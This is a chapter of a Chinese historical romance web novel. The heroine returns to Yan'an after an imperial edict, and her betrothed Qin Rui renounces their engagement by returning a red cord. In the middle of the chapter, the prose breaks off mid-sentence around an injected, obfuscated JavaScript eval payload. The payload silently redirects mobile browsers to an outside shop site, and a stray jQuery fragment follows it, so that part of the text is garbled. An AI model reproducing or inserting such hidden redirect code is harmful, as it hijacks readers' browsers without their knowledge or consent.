圣旨到会同馆驿那日，天难得地放了晴。薄薄的日光从半开的窗格里漏进来，落在沈知微手边那盏早已凉透的茶上，将那一点点残茶映得发亮。她正坐在窗前，就着一本极旧的粮账，有一页没一页地翻。那账册里夹着一小片极薄极薄的桂花瓣，早干透了，一碰便碎。她看了那花瓣好一会儿，才极轻极轻地将它从纸页里拈出来，托在掌心里。
石彪在门外低声唤：“姑娘，宫里来人了。”
沈知微慢慢站起身来。她理了理衣襟，又极轻极轻地吸了一口气，才走出去。来的是个极年轻的内官，生得眉清目秀，见了她，先极客气地行了个礼，才将那封明黄封面的文书双手奉上。沈知微接了，没急着拆，只道：“有劳公公。”
那内官又笑着说：“给姑娘道喜了。这旨意一下，姑娘便能返乡了。皇上隆恩，着姑娘先行回延绥，替沈总督料理钱粮诸务。这大典的事，待流寇肃清、国用充裕了，再慢慢筹办。”他说得极轻快，像在说一桩天大的喜事。
沈知微只极轻极轻地点了点头，道了声谢。那内官又说笑了几句，便告辞去了。她捧着那封旨意，慢慢走回房中，将那圣旨展开来，就着那点将尽未尽的日光，一字一字地读。读完了，又将那圣旨极慢极慢地折好，放回案上。然后她坐回窗前，将手极轻极轻地覆在脸上，好一会儿，才极深极深地呼出一口气。那口气又长又缓，散在风里，像这满城初春的寒意，终于从她骨头缝里一点一点地退了出去。
启程那日，天又阴了下来。沈知微一行车马，天不亮便出了会同馆驿。出了城，官道上人渐渐少了。初春的野地还是一片灰黄，只极远极远的几处柳梢，隐约透出一点极淡极淡的青。沈知微正望着那点青出神，忽听得车后传来一阵极快极稳的马蹄声。石彪在车外低低道：“姑娘，杨部堂来了。”
沈知微掀帘下车，见一队极简的仪仗已经到了近前。当先那匹马极神骏，马上之人一身石青色常服，面容清癯，颔下一部短须在风里轻轻飘着，正是杨嗣昌。他见沈知微下了车，便也翻身下马，极从容地走上前来。沈知微朝他行了一礼，道：“杨部堂亲来相送，民女愧不敢当。”
杨嗣昌摆了摆手，笑得极淡：“姑娘此番回延绥，是国事。本部院来送一送，也是应当的。”他说着，与她并肩在官道上慢慢走了几步。前后的人，都极识趣地落远了。
“姑娘可知道，皇贵妃这事，是本部院先提的。”杨嗣昌忽然道，声音压得极低，“那几个附议的，也是本部院请来的。”
沈知微偏过头望了他一眼。她脸上没什么表情，只那双眼睛，又深又静，像早料到了。
“杨部堂如此照拂，民女记在心里了。”她道。
杨嗣昌极轻极轻地笑了一下：“照拂不照拂的，姑娘心里有数便是。本部院做这些，不为别的。延绥这摊子，离不得你。十面张网，也离不得延绥。姑娘回去，好生把这一年的粮账理清，把来年的屯政铺排妥当。咱们后头的事，还多着呢。”
他说到这儿，极轻极轻地一顿：“姑娘也不必太过忧虑。大典既已缓了，便不是没法子。姑娘若能在那桩事上稍稍用些心力，给本部院一点真东西。等这十面张网收了，天下太平了，本部院再替姑娘去争。这宫里进不进得成，说到底，还是看咱们这些做臣子的，肯不肯抬这轿子。”
沈知微没有接话。她只是极慢极慢地，将目光落向了远处那几株极淡极淡的柳树。杨嗣昌这番话，她听得分明。他这是在卖人情，也是在提醒她。回延绥不是白回的。她得把延绥的屯政办好，更得把北边圣女那条门路真真正正地走动起来。只有她手里握着杨嗣昌要的东西，他才会在御前替她把这桩婚事一拖再拖，拖到那“流寇肃清、国用充裕”的一日，再替她求一条更宽的路。
“杨部堂放心。”她终于开口，声音极平极稳，“延绥的事，是民女分内之事。北边的事，民女也会尽力。”
杨嗣昌望了她好一会儿，忽然极轻极轻地笑了：“好。那本部院，便在京城，等姑娘的好消息了。”两人又行了几步，杨嗣昌便住了脚，朝她拱了拱手。沈知微也极郑重地还了礼。她重新上了车，车帘落下，石彪一声令下，车马重新动了。那车轮碾在官道的碎石上，发出极沉极稳的“辘辘”声。
从京城回延安的路，沈知微走了十三日。
这十三日里，她几乎没怎么合过眼。白日里，她坐在颠簸的车厢中，将这些年与草原往来的账目、信物、旧档，在脑中一样一样地过。夜里宿在驿馆，她便把那些还记得的、关于巴雅尔与那几支蒙古小部的旧事，借着一点如豆的灯火极慢极慢地写下来。她想起那年黑松林中的会面，想起那血月之夜，想起巴雅尔那双被火把映得半明半暗的、既惊且敬的眼睛。她想，若要再走动起来，怕是要再往北去一趟。圣女的旗号已经打出来一次了。既是天女，便不该只灵验一回。她得再去传一回天语，再给巴雅尔他们送些茶叶、布帛，也替杨嗣昌那桩尚未摆上台面的“羁縻”之事，埋下一根更长更韧的线。
这条路，又是险，又是缓。可眼下，她只剩这一条路了。
车到延安，是在一个极晴极暖的午后。那日天蓝得发亮，像被人用清水洗过了几遍。城北官道上，老早便聚了一群人等在那里。沈知微掀开车帘，远远便看见几个极熟悉的身影。王二、石彪、狗剩、孙五、周慎行，连韩把总都来了。秦锐没在人群里。沈知微的目光极快极轻地掠过去，心里头有什么极细极软的地方，极轻极轻地空了一下。
她还没下车，狗剩已经等不及了，一迭声地喊：“姑娘！姑娘你可算回来了！”那声音又脆又亮，像过年时头一挂被点着的鞭炮。石彪也咧着大嘴笑，脸上的刀疤都跟着舒展开来。王二站在稍后些，仍是那副不爱作声的模样，只那古铜色的脸上极难得地浮起一层极浅极浅的笑纹。
沈知微下了车，刚站稳，狗剩已经“扑通”一声跪下去，连磕了三个头，嘴里道：“姑娘平安回来，比什么都强！”沈知微忙将他拉起来，又朝众人极郑重地福了一礼：“这些日子，有劳诸位了。”她这话说得极平，可那声音里头，竟带了一丝极不易察觉的颤。王二朝她极轻极轻地点了点头，道：“回来就好。”这四个字，又低又稳，像这满城被晒暖了的黄土，教人心里一下便踏实了。
回府之后，沈敬修早命王嬷嬷备下了一桌子菜。沈知微进了后院，见父亲正站在那几株桂树前。树还未到开花时节，只满枝极嫩极嫩的新叶，被日头一照，像一蓬蓬会发光的绿雾。沈敬修回头望她，也没说什么，只朝她伸了伸手。沈知微便极轻极轻地走过去，将手放进了父亲掌心里。那手极瘦，却极暖，像这满院春阳，全聚在了这一握之中。
过了几日，一个极寻常的下午，沈知微正在书房里核今岁春耕的粮种账。秦锐来了。
他是来见沈敬修的，照例递绥德那边的军情。沈知微没出去，只隔着半卷竹帘，极轻极轻地听见了他的声音。那声音仍清朗，只比从前沉了些，像被什么极重的东西在里头坠着。
沈敬修见完了秦锐，朝后堂望了望，极轻极轻地道：“知微就在书房里。你们若有什么话，便趁这会儿说开。大婚的事，总归要等朝廷那头了结之后，再缓几年。可这婚约，总还是作数的。秦锐，你今日既来了，便不必再避着。”
秦锐极轻极轻地应了一声，便朝后堂去了。
沈知微听见他的脚步声近了。那步子极稳，却极慢，像每一步都踩在极重极沉的东西上。她没抬头，只将手里的笔慢慢搁下，等着他。秦锐在门口极轻极轻地停了一下，才跨了进来。
“沈姑娘。”他叫她。
沈知微抬起头来，望他。秦锐今日穿了件极旧的月白袍子，外面也没披甲。人比先前瘦了些，两颊微微凹下去，可那双眼仍极清极亮。他的腕上，那根旧红绳还在。沈知微只望了那红绳一眼，心里头便像被什么极软极热的东西，极轻极轻地烫了一下。
“沈大人说，让我来与你说几句话。”秦锐道。他的声音极平，像在说一件与己无关的公事，“我想了想，确实有件旧物，该物归原主了。”
沈知微没说话，只望着他。
秦锐慢慢抬起左手来。那手腕上，那根旧红绳极旧极旧了，颜色褪得发白，可系在他腕上，却像一道与皮肉长在了一处的痕。他低下头，极慢极慢地、极缓极缓地，用另一只手，将那根红绳解了下来。那绳子极细，被他解了好几下，才从他腕上滑下来。他捧着那根红绳，极郑重极郑重地，走到沈知微面前，极轻极轻地搁在了她手边的几案上。
“沈姑娘。”他仍叫她沈姑娘。那声音又低又哑，像从喉咙最深处一点一点刮出来的，“宫里的事，末将都听说了。是末将福薄，配不上姑娘。这红绳，是姑娘极要紧的旧物，不该跟着末将。如今，物归原主。”
沈知微怔怔地望着他。她张了张嘴，想要说话，可秦锐已经朝后退了一步，极规整极恭谨地，朝她端端正正地行了一个大礼。那礼数，不是从前那个会红着耳根叫她“知微”的秦锐。这是营中一个极寻常的将官，在朝见贵人。
“末将恭贺娘娘。”他的声音极平，平得没有一丝起伏，像一潭结了冰的水，什么也照不出来了，“娘娘大安，万福金安。”
沈知微浑身都像被冻住了。
她望着秦锐，望着这个一月前还在绥德的雨夜里说要带兵去把她抢出来的人。她不信。她怎么也不信。她明明已经在想法子了。那皇贵妃虽议了名分，可大典已经缓了。杨嗣昌说了，只要她把北边的事办成，他便能替她再争。这分明是还有转圜的。可秦锐，他连一句话都不肯听，就这么替她做了主，替他们做了主。
“秦锐。”她听见自己的声音从极深极冷的地方一点一点地升起来。那声音在抖，抖得厉害，像一面被风快吹破的旗，“你什么意思？我辛辛苦苦从京城回来，我想着延绥，想着法子，我还没有说半个‘不’字。你倒好，一声‘娘娘’，一根红绳，便要同我两清了。你把我当成什么了？你把我当成什么了！”
她越说越急，越说越抖。那些攒了十几日、几十日
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891032|212732||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的委屈与恐惧，此刻全化成了怒意，像一把被压得太久的火，忽然从她心口里喷出来。她望着秦锐，眼圈极红，泪在里头打着转，却硬是不肯掉下来。
“我说过，后年八月十六，我会回来。”她说。那声音又高又颤，像要把这满室寂静都震碎，“我还没死。我还没嫁。你凭什么就替我做了这个主？你凭什么就……”
秦锐已经转过了身。
他没看她。或者说，他不敢再看了。她的每一句话，都像刀，一下一下地剜在他心口上。可他不能回头。他怕自己一回头，这满身压着的、强撑着的那么一点力气，便要全数碎了。他不知道她找到了法子。他不知道杨嗣昌的盘算。他只知道，那皇贵妃的名分，是皇上当朝宣的。那大典再缓，她也是天家的人了。他秦锐算什么？一个边镇的武夫，拿什么去和这九五之尊争？他若再往前一步，要害死多少人？
所以他把那红绳解了。所以他把那“娘娘”叫出了口。所以这满身的疼，他都得一个人咽下去。等咽下去了，回头再上阵，再杀人，再拼命，也都不会比这更疼了。
沈知微在他身后喊着，声音已经带了极重的哭腔。秦锐没有停。他大步出了门，穿过那半卷的竹帘，穿过这满院将暖未暖的春阳，朝外头走去。风从北边来，吹得他那身旧袍猎猎地翻。那根红绳，他解下来了。可那腕上，被系了三百多个日夜的地方，却像被什么极细极细的东西，仍死死地勒着。勒得他整条胳膊，都跟着发麻，发疼。
他知道，从今往后，这疼，怕是要跟着他一辈子了。
他出了总督府，没有直接回营。那马就拴在府门外的老槐下，见了他，极轻极轻地打了声响鼻。秦锐走过去，解了缰绳，却没有立刻上马。他极慢极慢地靠在老槐上，仰起头来，望着天。天是极淡极淡的灰蓝，像一块被水洗得发旧的绢。风一阵一阵地吹过去，将那老槐新抽的嫩叶吹得沙沙地响。
沈知微那一声声哭喊，还像针一样，往他耳朵里扎。他没听清她在喊什么。他也不敢听清。他只知道，他把她惹哭了。这半年来，他拼了命地练兵，拼了命地打仗，想给他们的将来挣一条路。到头来，路没挣出来，人也没护住。
他忽然想起那一日，沈敬修亲自登门，要替他们把这婚事定下来。他那时是怎么说的？他说“匈奴未灭，何以家为”，说要等挣下侯爵，等攒下家业，等八月十六，月亮最圆的时候，八抬大轿，风风光光地娶她。沈敬修那时望着他，说好，后年八月十六。他记得自己“咚”地一声跪下去，信誓旦旦，说什么君子一言，驷马难追。
追什么？他拿什么追？
他该当时就答应的。他该当时就把她娶过门。若她一早便已嫁作秦家妇，这皇贵妃的名分，又怎么能落到她头上？是他自己，为了那点可笑的、少年人的心气，为了那点“不能比媳妇弱”的蠢念头，亲手把婚期一推再推。推到今日，把她推到了那九重宫墙里头去。
“蠢货。”他忽然极轻极轻地骂了一声。那声音从牙缝里挤出来，又冷又狠，像在骂一个不共戴天的仇人。
他骂的是自己。
他这一身新甲是她送的，腕上那根红绳是她亲手系上的。可他给了她什么？一个言而无信的狗东西。什么“千军万马，宫墙九重，也要把你带出来”，到头来，他连去京城的勇气都没能留住。他爹一巴掌，沈道尊几滴泪，便把他那满身的血性，全数打回了壳子里。他怎么就这么没用？怎么就这么没用！
他慢慢蹲下身去。那匹枣骝马见他这般，也不走了，只安安静静地立在一旁，将头极轻极轻地垂下来，像也在陪着他。
秦锐把脸埋进双手里。他的肩膀极轻极轻地抖。没有声音。这满城将暖未暖的春阳里，这个在战场上敢单骑冲阵的年轻人，把脸埋在掌心里，像一匹被抽去了脊梁的幼兽，连哭都哭不出声来。
他也不知道自己在那儿蹲了多久。等他再站起来时，两条腿已经麻得不像是自己的了。他极慢极慢地直起身子，望着北边绥德的方向。风还在吹。那老槐的嫩叶沙沙地响，像在替谁说着一句又一句，永远也递不到的话。
他翻身上马，朝北边去了。
一路上，他再没有回头。那腕上被红绳系了三百多个日夜的地方，空落落的，被风一吹，凉得厉害。像有无数根极细极细的针，正一下一下地，从那空处，往他骨头里钻。
他不知道沈知微在他身后，也在骂他。骂他蠢，骂他怯，骂他为什么就不能信她这一回。他也不知道，沈知微其实已经找到了一条极险极窄、却未必不能走通的路。他什么都不知道。他只知道，那根红绳，他还了。那声“知微”，他再也没资格叫了。那个他跪在八月十六的月亮底下，用尽了少年人所有真心许下的诺言，他再也，完不成了。
马越走越快，风越刮越紧。他望着前头那望不见头的、灰黄灰黄的天，忽然极轻极轻地笑了一下。那笑又苦又冷，像一口被从极深极深的地底打上来的水，只一口，便凉透了五脏六腑。
他到底，还是把她给弄丢了。